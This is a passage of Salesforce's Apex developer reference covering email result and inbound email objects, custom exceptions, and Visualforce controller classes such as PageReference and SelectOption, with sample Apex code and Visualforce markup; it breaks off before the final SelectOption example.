Description The attachment itself. The attachment's Content-Type The name of the file to attach. Specifies a Content-Disposition of inline (true) or attachment (false). Inline content is displayed to the user when the message is opened. Attachment content requires user action to be displayed.

String file_name Boolean

Content-Disposition

SendEmailResult Object Methods The sendEmail method returns a list of SendEmailResult objects. Each SendEmailResult object has the following methods. These methods take no arguments. Name
getErrors isSuccess

Returns

Description

SendEmailError[] If an error occurred during the sendEmail method, a SendEmailError object is returned. Boolean Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced or been blocked by a spam blocker.

296

Reference

Apex Email Classes

SendEmailError Object Methods The SendEmailResult object may contain a SendEmailError object, which has the following methods. These methods take no arguments. Name
getFields getMessage getStatusCode

Returns String[] String

Description A list of one or more field names. Identifies which fields in the object, if any, affected the error condition. The text of the error message.

System.StatusCode A code that characterizes the error. The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see Downloading Salesforce.com WSDLs and Client Authentication Certificates in the Salesforce.com online help. The ID of the target record for which the error occurred.

getTargetObjectId String

Inbound Email You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by Apex classes that utilize the InboundEmail object. Note: The Apex email service is only available in Developer, Enterprise and Unlimited Edition organizations.

This section contains information about the following: What is the Apex Email Service? on page 297 Using the InboundEmail Object on page 298 InboundEmail Object on page 300 InboundEmail.Header Object on page 301 InboundEmail.BinaryAttachment Object on page 301 InboundEmail.TextAttachment Object on page 301 InboundEmailResult Object on page 302 InboundEnvelope Object on page 302

What is the Apex Email Service? Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages. You can associate each email service with one or more Salesforce.com-generated email addresses to which users can send messages for processing. To allow multiple users to use a single email service, you can: Associate multiple Salesforce.com-generated email addresses with the email service, and allocate those addresses to users. Associate a single Salesforce.com-generated email address with the email service, and write an Apex class that executes according to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address, and creates records on behalf of that user.

To use email services, click Setup Develop Email Services. Click New Email Service to define a new email service.

297

Reference

Apex Email Classes

Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service. Click Edit to make changes to an existing email service. Click Delete to delete an email service. Note: Before deleting email services, you must delete all associated email service addresses.

Email services reject email messages that exceed any of these limits and notifies the sender: 100,000 characters (approximate) body text 100,000 characters (approximate) body HTML 100,000 characters (approximate) per text attachment 5 MB per binary attachment 10 MB per inbound email message (including body text, HTML, and attachments)

For example, email services reject these email messages: Because it exceeds the 10 MB per inbound email message limit, an email message containing: 200 characters of plain text in the email body 500 characters of HTML in the email body An 11 MB binary attachment

Because it exceeds the 100,000 characters (approximate) body text limit, an email message containing: A 6 MB binary attachment A 50,000 character text attachment A 5,000 character text attachment 105,000 characters of plain text in the email body

Because it exceeds the 100,000 characters (approximate) text attachment limit, an email message containing: 50 characters of plain text in the email body A 2 MB binary attachment A 200,000 character text attachment Note: To prevent email services from rejecting email messages and notifying the sender, configure email services to truncate email body text, body HTML, and text attachments to 100,000 characters (approximate). 100,000 characters is approximately 100KB (non-DBCS) and over 200KB (DBCS or Kanji). The 100,000 character limit is approximateundisplayed characters (such as line feeds) may be countedthe alphanumerical character limit may be substantially less than 100,000.

Using the InboundEmail Object For every email the Apex email service domain receives, Salesforce.com creates a separate InboundEmail object that contains the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

298

Reference

Apex Email Classes

Example 1: Create Tasks for Contacts The following is an example of how you can look up a contact based on the inbound email address and create a new task.
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler { global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email, Messaging.InboundEnvelope env){ // Create an inboundEmailResult object for returning the result of the Apex Email Service Messaging.InboundEmailResult result = new Messaging.InboundEmailResult(); String myPlainText= ''; // Add the email plain text into the local variable myPlainText = email.plainTextBody; // New Task object to be created Task[] newTask = new Task[0]; // Try to lookup any contacts based on the email from address // If there is more than 1 contact with the same email address, // an exception will be thrown and the catch statement will be called. try { Contact vCon = [Select Id, Name, Email From Contact Where Email = :email.fromAddress Limit 1]; // Add a new Task to the contact record we just found above. newTask.add(new Task(Description = myPlainText, Priority = 'Normal', Status = 'Inbound Email', Subject = email.subject, IsReminderSet = true, ReminderDateTime = System.now()+1, WhoId = vCon.Id)); // Insert the new Task insert newTask; System.debug('New Task Object: ' + newTask ); } // If an exception occurs when the query accesses // the contact record, a QueryException is called. // The exception is written to the Apex debug log. catch (QueryException e) { System.debug('Query Issue: ' + e); } // Set the result to true. No need to send an email back to the user // with an error message result.success = true; // Return the result for the Apex Email Service return result; } }

299

Reference

Apex Email Classes

InboundEmail Object An InboundEmail object has the following fields. Name

binaryAttachments

Type

Description

InboundEmail.BinaryAttachment[] A list of binary attachments received with the email, if any Examples of binary attachments include image, audio, application, and video files.

ccAddresses fromAddress fromName headers

String[] String String InboundEmail.Header[]

A list of carbon copy (CC) addresses, if any The email address that appears in the From field The name that appears in the From field, if any A list of the RFC 2822 headers in the email, including: Recieved from Custom headers Message-ID Date The HTML version of the email, if specified by the sender Indicates whether the HTML body text is truncated (true) or not (false). The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs. The Message-IDthe incoming email's unique identifier The plain text version of the email, if specified by the sender Indicates whether the plain body text is truncated (true) or not (false). The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields. The email address that appears in the reply-to header If there is no reply-to header, this field is identical to the fromAddress field.

htmlBody htmlBodyIsTruncated inReplyTo

String Boolean String

messageId plainTextBody

String String

plainTextBodyIsTruncated Boolean references

String []

replyTo

String

subject

String

The subject line of the email, if any

300

Reference

Apex Email Classes

Name
textAttachments

Type InboundEmail.TextAttachment[]

Description A list of text attachments received with the email, if any The text attachments can be any of the following: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

toAddresses

String[]

The email address that appears in the To field

InboundEmail.Header Object An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following fields. Name
name value

Type String String

Description The name of the header parameter, such as Date or Message-ID The value of the header

InboundEmail.BinaryAttachment Object An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object. Examples of binary attachments include image, audio, application, and video files. An InboundEmail.BinaryAttachment object has the following fields. Name
body fileName mimeTypeSubType

Type Blob String String

Description The body of the attachment The name of the attached file The primary and sub MIME-type

InboundEmail.TextAttachment Object An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object. The text attachments can be any of the following: Attachments with a Multipurpose Internet Mail Extension (MIME) type of text Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

An InboundEmail.TextAttachment object has the following fields.

301

Reference

Exception Class

Name
body bodyIsTruncated charset fileName mimeTypeSubType

Type String Boolean String String String

Description The body of the attachment Indicates whether the attachment body text is truncated (true) or not (false). The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method. The name of the attached file The primary and sub MIME-type

InboundEmailResult Object The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful. The InboundEmailResult object has the following fields. Name
success

Type Boolean

Description A value that indicates whether the email was successfully processed. If false, Salesforce.com rejects the inbound email and sends a reply email to the original sender containing the message specified in the Message field.

message

String

A message that Salesforce.com returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the Success field.

InboundEnvelope Object The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields. Name
toAddress fromAddress

Type String String

Description The name that appears in the To field of the envelope, if any The name that appears in the From field of the envelope, if any

Exception Class
You can create your own exception classes in Apex. Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces, and so on. Exceptions that you create behave as any other standard exception type, and can be thrown and caught as expected. User-defined exception class names must end with the string exception, such as MyException, PurchaseException and so on. All exception classes automatically extend the system-defined base class exception. For example, the following code defines an exception type within an anonymous block:
public class MyException extends Exception {} try { Integer i; // Your code here

302

Reference

Exception Class

if (i < 5) throw new MyException(); } catch (MyException e) { // Your MyException handling code here }

Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any portion. For example:
public class BaseException extends Exception {} public class OtherException extends BaseException {} try { Integer i; // Your code here if (i < 5) throw new OtherException('This is bad'); } catch (BaseException e) { // This catches the OtherException }

This section contains the following topics: Constructing an Exception on page 303 Using Exception Variables on page 304

See also Using Exception Methods on page 285. Constructing an Exception You can construct exceptions: With no arguments:
new MyException();

With a single String argument that specifies the error message:

new MyException('This is bad');

With a single Exception argument that specifies the cause and that displays in any stack trace:
new MyException(e);

With both a String error message and a chained exception cause that displays in any stack trace:
new MyException('This is bad', e);

For example the following code generates a stack trace with information about both My1Exception and My2Exception:
public class My1Exception extends Exception {} public class My2Exception extends Exception {} try { throw new My1Exception(); } catch (My1Exception e) { throw new My2Exception('This is bad', e); }

The following figure shows the stack trace that results from running the code above:

303

Reference

Visualforce Classes

Figure 9: Stack Trace For Exceptions (From Debug Log) Using Exception Variables As in Java, variables, arguments, and return types can be declared of type Exception, which is a system-defined based class in Apex. For example:
Exception e1; try { String s = null; s.tolowercase(); // This will generate a null pointer exception... } catch (System.NullPointerException e) { e1 = e; // ...which can be assigned to a variable, or passed // into or out of another method }

Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce.com system events such as button clicks and related record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller extensions: A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality that was already provided in a standard controller. Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile. A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions allow you to leverage the functionality of another controller while adding your own custom logic.

304

Reference

Visualforce Classes

Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile. This section includes information about the system-supplied Apex classes that can be used when building custom Visualforce controllers and controller extensions. These include:
Action Class on page 305 Message Class on page 312

PageReference Class on page 313 SelectOption Class on page 317 StandardController Class on page 319 StandardSetController Class on page 321

In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions. For more information, see Using the transient Keyword on page 104. For more information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm.
Action Class

You can use an ApexPages.Action class to create an action method that you can use in a Visualforce custom controller or controller extension. For example, you could create a saveOver method on a controller extension that performs a custom save. Instantiation The following code snippet illustrates how to instantiate a new ApexPages.Action object that uses the save action:
ApexPages.Action saveAction = new ApexPages.Action('{!save}');

Methods The action methods are all called by and operate on a particular instance of Action. The table below describes the instance methods for Action. Name
getExpression invoke

Arguments

Return Type String

Description Returns the expression that is evaluated when the action is invoked.

System.PageReference Invokes the action.

Example In the following example, when the user updates or creates a new Account and clicks the Save button, in addition to the account being updated or created, the system writes a message to the system debug log. This example extends the standard controller for Account. The following is the controller extension.
public class acctSaveExtension { public final Account acct;

305

Reference

Visualforce Classes

ApexPages.Action saveAction = new ApexPages.Action('{!newSave}'); public acctSaveExtension (ApexPages.StandardController stdController) { this.acct = (Account)stdController.getRecord(); } public void saveOver() { System.debug('Extension called action ' + saveAction.getExpression()); saveAction.invoke(); } public void newSave() { try{ update acct; } catch(DmlException ex){ ApexPages.addMessages(ex); } } }

The following is the Visualforce markup for a page that uses the above controller extension.
<apex:page standardController="Account" extensions="acctSaveExtension"> <apex:form> <apex:inputField value="{!account.name}"/> <p/> <apex:commandButton value="Save" action="{!saveOver}"/> </apex:form> </apex:page>

For information on the debug log, see Viewing Debug Log Details in the Salesforce.com online help. IdeaStandardController Class IdeaStandardController objects offer Ideas-specific functionality in addition to what is provided by the StandardController Class. Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative. Instantiation An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard ideas controller. Methods A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController. The table below describes the instance method for IdeaStandardController. Name
getCommentList

Arguments

Return Type IdeaComment[]

Description Returns the list of read-only comments from the current page. This method returns the following comment properties: id commentBody

306

Reference

Visualforce Classes

Name

Arguments

Return Type

Description
createdDate createdBy.Id createdBy.communityNickname

In addition to the method listed above, the IdeaStandardController class inherits all the methods associated with the StandardController Class. The following table lists these methods. Name
cancel delete edit getId

Arguments

Return Type

Description

System.PageReference Returns the PageReference of the cancel page. System.PageReference Deletes record and returns the PageReference of the delete page. System.PageReference Returns the PageReference of the standard edit page. String Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL. Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other fields, including fields from any related objects, must be queried using a SOQL expression. Tip: You can work around this restriction by including a hidden component that references any additional fields that you want to query. Hide the component from display by setting the component's rendered attribute to false. For example:
<apex:outputText value="{!account.billingcity} {!account.contacts}" rendered="false"/>

getRecord

SObject

save view

System.PageReference Saves changes and returns the updated PageReference. System.PageReference Returns the PageReference object of the standard detail page.

307

Reference

Visualforce Classes

Example The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension { private final ApexPages.IdeaStandardController ideaController; public MyIdeaExtension(ApexPages.IdeaStandardController controller) { ideaController = (ApexPages.IdeaStandardController)controller; } public List<IdeaComment> getModifiedComments() { IdeaComment[] comments = ideaController.getCommentList(); // modify comments here return comments; } }

The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must be named detailPage for this example to work. Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a specific idea (for example, /apex/detailPage?id=<ideaID>) whose comments you want to view.

<!-- page named detailPage --> <apex:page standardController="Idea" extensions="MyIdeaExtension"> <apex:pageBlock title="Idea Section"> <ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}">{!idea.title} </ideas:detailOutputLink> <br/><br/> <apex:outputText >{!idea.body}</apex:outputText> </apex:pageBlock> <apex:pageBlock title="Comments Section"> <apex:dataList var="a" value="{!modifiedComments}" id="list"> {!a.commentBody} </apex:dataList> <ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}" pageOffset="-1">Prev</ideas:detailOutputLink> | <ideas:detailOutputLink page="detailPage" ideaId="{!idea.id}" pageOffset="1">Next</ideas:detailOutputLink> </apex:pageBlock> </apex:page>

IdeaStandardSetController Class IdeaStandardSetController objects offer Ideas-specific functionality in additional to what is provided by the StandardSetController Class. Note: The IdeaStandardSetController and IdeaStandardController classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your salesforce.com representative. Instantiation An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard list controller for ideas.

308

Reference

Visualforce Classes

Methods A method in the IdeaStandardSetController object is called by and operated on a particular instance of an IdeaStandardSetController. The table below describes the instance method for IdeaStandardSetController. Name
getIdeaList

Arguments

Return Type Idea[]

Description Returns the list of read-only ideas in the current page set. You can use the <ideas:listOutputLink>, <ideas:profileListOutputLink>, and <ideas:detailOutputLink> components to display profile pages as well as idea list and detail pages (see the examples below). The following is a list of properties returned by this method: Body Categories Category CreatedBy.CommunityNickname CreatedBy.Id CreatedDate Id LastCommentDate LastComment.Id LastComment.CommentBody LastComment.CreatedBy.Id LastComment.CreatedBy.CommunityNickname NumComments Status Title VoteTotal

In addition to the method listed above, the IdeaStandardSetController class inherits the methods associated with the StandardSetController Class. Note: The methods inherited from the StandardSetController Class cannot be used to affect the list of ideas returned by the getIdeaList method. The following table lists the inherited methods. Name
cancel first getCompleteResult

Arguments

Return Type

Description

System.PageReference Returns the PageReference of the original page, if known, or the home page. Void Boolean Returns the first page of records. Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can process using the list controller. The maximum record limit is 10,000 records.

309

Reference

Visualforce Classes

Name
getFilterId getHasNext getHasPrevious getListViewOptions getPageNumber getPageSize getRecord getRecords getResultSize getSelected last next previous save

Arguments

Return Type String Boolean Boolean

Description Returns the ID of the filter that is currently in context. Indicates whether there are more records after the current page set. Indicates whether there are more records before the current page set.

System.SelectOption[] Returns a list of the listviews available to the current user. Integer Integer sObject sObject[] Integer sObject[] Void Void Void Returns the page number of the current page set. Note that the first page returns 1. Returns the number of records included in each page set. Returns the sObject that represents the changes to the selected records. Returns the list of sObjects in the current page set. Returns the number of records in the set. Returns the list of sObjects that have been selected. Returns the last page of records. Returns the next page of records. Returns the previous page of records.

System.PageReference Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to the original page, if known, or the home page. String filterId Void Sets the filter ID of the controller. Sets the page number. Sets the number of records in each page set. Set the selected records.

setFilterID setpageNumber setPageSize setSelected

Integer pageNumber Void Integer pageSize sObjects[]

selectedRecords

Void Void

Example: Displaying a Profile Page The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
public class MyIdeaProfileExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller; } public List<Idea> getModifiedIdeas() { Idea[] ideas = ideaSetController.getIdeaList(); // modify ideas here

310

Reference

Visualforce Classes

return ideas; } }

The following Visualforce markup shows how the IdeaStandardSetController example shown above and the <ideas:profileListOutputLink> component can display a profile page that lists the recent replies, submitted ideas, and votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page for the current logged in user. This page must be named profilePage in order for this example to work:
<!-- page named profilePage --> <apex:page standardController="Idea" extensions="MyIdeaProfileExtension" recordSetVar="ideaSetVar"> <apex:pageBlock > <ideas:profileListOutputLink sort="recentReplies" page="profilePage"> Recent Replies</ideas:profileListOutputLink> | <ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas Submitted </ideas:profileListOutputLink> | <ideas:profileListOutputLink sort="votes" page="profilePage">Ideas Voted </ideas:profileListOutputLink> </apex:pageBlock> <apex:pageBlock > <apex:dataList value="{!modifiedIdeas}" var="ideadata"> <ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage"> {!ideadata.title}</ideas:detailoutputlink> </apex:dataList> </apex:pageBlock> </apex:page>

In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named viewPage in order for this example to work:
<!-- page named viewPage --> <apex:page standardController="Idea"> <apex:pageBlock title="Idea Section"> <ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title} </ideas:detailOutputLink> <br/><br/> <apex:outputText>{!idea.body}</apex:outputText> </apex:pageBlock> </apex:page>

Example: Displaying a List of Top, Recent, and Most Popular Ideas and Comments The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller: Note: You must have created at least one idea for this example to return any ideas.

public class MyIdeaListExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller; } public List<Idea> getModifiedIdeas() {

311

Reference

Visualforce Classes

Idea[] ideas = ideaSetController.getIdeaList(); // modify ideas here return ideas; } }

The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the <ideas:listOutputLink> component to display a list of recent, top, and most popular ideas and comments. This page must be named listPage in order for this example to work:
<!-- page named listPage --> <apex:page standardController="Idea" extensions="MyIdeaListExtension" recordSetVar="ideaSetVar"> <apex:pageBlock > <ideas:listOutputLink sort="recent" page="listPage">Recent Ideas </ideas:listOutputLink> | <ideas:listOutputLink sort="top" page="listPage">Top Ideas </ideas:listOutputLink> | <ideas:listOutputLink sort="popular" page="listPage">Popular Ideas </ideas:listOutputLink> | <ideas:listOutputLink sort="comments" page="listPage">Recent Comments </ideas:listOutputLink> </apex:pageBlock> <apex:pageBlock > <apex:dataList value="{!modifiedIdeas}" var="ideadata"> <ideas:detailoutputlink ideaId="{!ideadata.id}" page="viewPage"> {!ideadata.title}</ideas:detailoutputlink> </apex:dataList> </apex:pageBlock> </apex:page>

In the previous example, the <ideas:detailoutputlink> component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named viewPage.
<!-- page named viewPage --> <apex:page standardController="Idea"> <apex:pageBlock title="Idea Section"> <ideas:detailOutputLink page="viewPage" ideaId="{!idea.id}">{!idea.title} </ideas:detailOutputLink> <br/><br/> <apex:outputText>{!idea.body}</apex:outputText> </apex:pageBlock> </apex:page>

Message Class

When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are automatically added to the page error collections. If there is an inputField component bound to the field with an error, the message is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide. If your application uses a custom controller or extension, you must use the message class for collecting errors. Instantiation In a custom controller or controller extension, you can instantiate a Message in one of the following ways:

312

Reference

Visualforce Classes

ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary);

where ApexPages.severity is the enum that is determines how severe a message is, and summary is the String used to summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error msg');

ApexPages.Message myMsg = new ApexPages.Message(ApexPages.severity, summary, detail);

where ApexPages. severity is the enum that is determines how severe a message is, summary is the String used to summarize the message, and detail is the String used to provide more detailed information about the error. Methods The Message methods are all called by and operate on a particular instance of Message. The table below describes the instance methods for Message. Name
getComponentLabel

Arguments

Return Type String

Description Returns the label of the associated inputField component. If no label is defined, this method returns null. Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null. Returns the severity enum used to create the message. Returns the summary String used to create the message.

getDetail

String

getSeverity getSummary

ApexPages.Severity String

ApexPages.Severity Enum Using the ApexPages.Severity enum values, specify the severity of the message. The following are the valid values:
CONFIRM ERROR FATAL INFO WARNING

All enums have access to standard methods, such as name and value. PageReference Class A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values. Use a PageReference object: To view or set query string parameters and values for a page To navigate the user to a different page as the result of an action method

Instantiation In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:

313

Reference

Visualforce Classes

Page.existingPageName

Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists.
PageReference pageRef = new PageReference('partialURL');

Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to '/apex/HelloWorld' refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID' refers to the detail page for the specified record. This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference is instantiated rather than just referred to by name. Consequently the platform does not recognize that this controller or controller extension is dependent on the existence of the specified page and will not prevent its deletion.
PageReference pageRef = new PageReference('fullURL');

Creates a PageReference for an external URL. For example:

PageReference pageRef = new PageReference('http://www.google.com');

You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
PageReference pageRef = ApexPages.currentPage();

Methods PageReference methods are all called by and operate on a particular instance of a PageReference. The table below describes the instance methods for PageReference. Name
getAnchor getContent

Arguments

Return Type String Blob

Description Returns the name of the anchor located on the page. Returns the output of the page, as displayed to a user in a Web browser. The content of the returned Blob is dependant on how the page is rendered. If the page is rendered as a PDF, it returns the PDF. If the page is not rendered as a PDF, it returns the HTML. To access the content of the returned HTML as a string, use the toString Blob method. Note: If you use getContent in a test method, a blank PDF is generated when used with a Visualforce page that is supposed to render as PDF.
getContent cannot be used in triggers.

getHeaders

Map<String, String> Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header. This map can be

314

Reference

Visualforce Classes

Name

Arguments

Return Type

Description modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put('Date', '9/9/99');

getParameters

Map<String, String> Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter. This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put('id', myID);

getRedirect

Boolean

Returns the current value of the PageReference object's redirect attribute. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.

getUrl setAnchor setRedirect

String String Anchor Boolean redirect

Returns the URL associated with the PageReference when it was originally defined.

System.PageReference Sets the name of the anchor located on the page. System.PageReference Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side redirect. This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page. Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true or false.

Example: Retrieving Query String Parameters The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this example, the getAccount method references the id query string parameter:
public class MyController { public Account getAccount() { return [SELECT id, name FROM Account WHERE id = :ApexPages.currentPage().getParameters().get('id')]; }

315

Reference

Visualforce Classes

The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController"> <apex:pageBlock title="Retrieving Query String Parameters"> You are viewing the {!account.name} account. </apex:pageBlock> </apex:page>

Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce.com_instance/apex/MyFirstPage?id=001D000000IRt53

The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the page. To access id, the getAccount method uses the ApexPages namespace: First the currentPage method returns the PageReference instance for the current page. PageReference returns a reference to a Visualforce page, including its query string parameters. Using the page reference, use the getParameters method to return a map of the specified query string parameter names and values. Then a call to the get method specifying id returns the value of the id parameter itself.

Example: Navigating to a New Page as the Result of an Action Method Any action method in a custom controller or controller extension can return a PageReference object as the result of the method. If the redirect attribute on the PageReference is set to true, the user navigates to the URL specified by the PageReference. The following example shows how this can be implemented with a save method. In this example, the PageReference returned by the save method redirects the user to the detail page for the account record that was just saved:
public class mySecondController { Account account; public Account getAccount() { if(account == null) account = new Account(); return account; } public PageReference save() { // Add the account to the database. insert account; // Send the user to the detail page for the new account. PageReference acctPage = new ApexPages.StandardController(account).view(); acctPage.setRedirect(true); return acctPage; } }

316

Reference

Visualforce Classes

The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected to the detail page for the account just created:
<apex:page controller="mySecondController" tabStyle="Account"> <apex:sectionHeader title="New Account Edit Page" /> <apex:form> <apex:pageBlock title="Create a New Account"> <apex:pageBlockButtons location="bottom"> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="Account Information"> <apex:inputField id="accountName" value="{!account.name}"/> <apex:inputField id="accountSite" value="{!account.site}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>

SelectOption Class

A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or selectRadio component. It consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it. Instantiation In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
SelectOption option = new SelectOption(value, label, isDisabled);

where value is the String that is returned to the controller if the option is selected by a user, label is the String that is displayed to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select the option, but can still view it.
SelectOption option = new SelectOption(value, label);

where value is the String that is returned to the controller if the option is selected by a user, and label is the String that is displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and select the option. Methods The SelectOption methods are all called by and operate on a particular instance of SelectOption. The table below describes the instance methods for SelectOption. Name
getDisabled

Arguments

Return Type Boolean

Description Returns the current value of the SelectOption object's isDisabled attribute. If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can both view and select the option. Returns the current value of the SelectOption object's itemEscaped attribute. If itemEscaped is set to true, sensitive HTML and XML characters are escaped

getEscapeItem

Boolean

317

Reference

Visualforce Classes

Name

Arguments

Return Type

Description in the HTML output generated by this component. If itemEscaped is set to false, items are rendered as written.

getLabel getValue setDisabled

String String Boolean

isDisabled

Returns the option label that is displayed to the user. Returns the option value that is returned to the controller if a user selects the option. Sets the value of the SelectOption object's isDisabled attribute. If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can both view and select the option. Sets the value of the SelectOption object's itemEscaped attribute. If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If itemEscaped is set to false, items are rendered as written. Sets the value of the option label that is displayed to the user. Sets the value of the option value that is returned to the controller if a user selects the option.

Void

setEscapeItem

Boolean
itemsEscaped

Void

setLabel setValue

String l String v

Void Void

Example The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes component on a Visualforce page. In the following custom controller, the getItems method defines and returns the list of possible SelectOption objects:
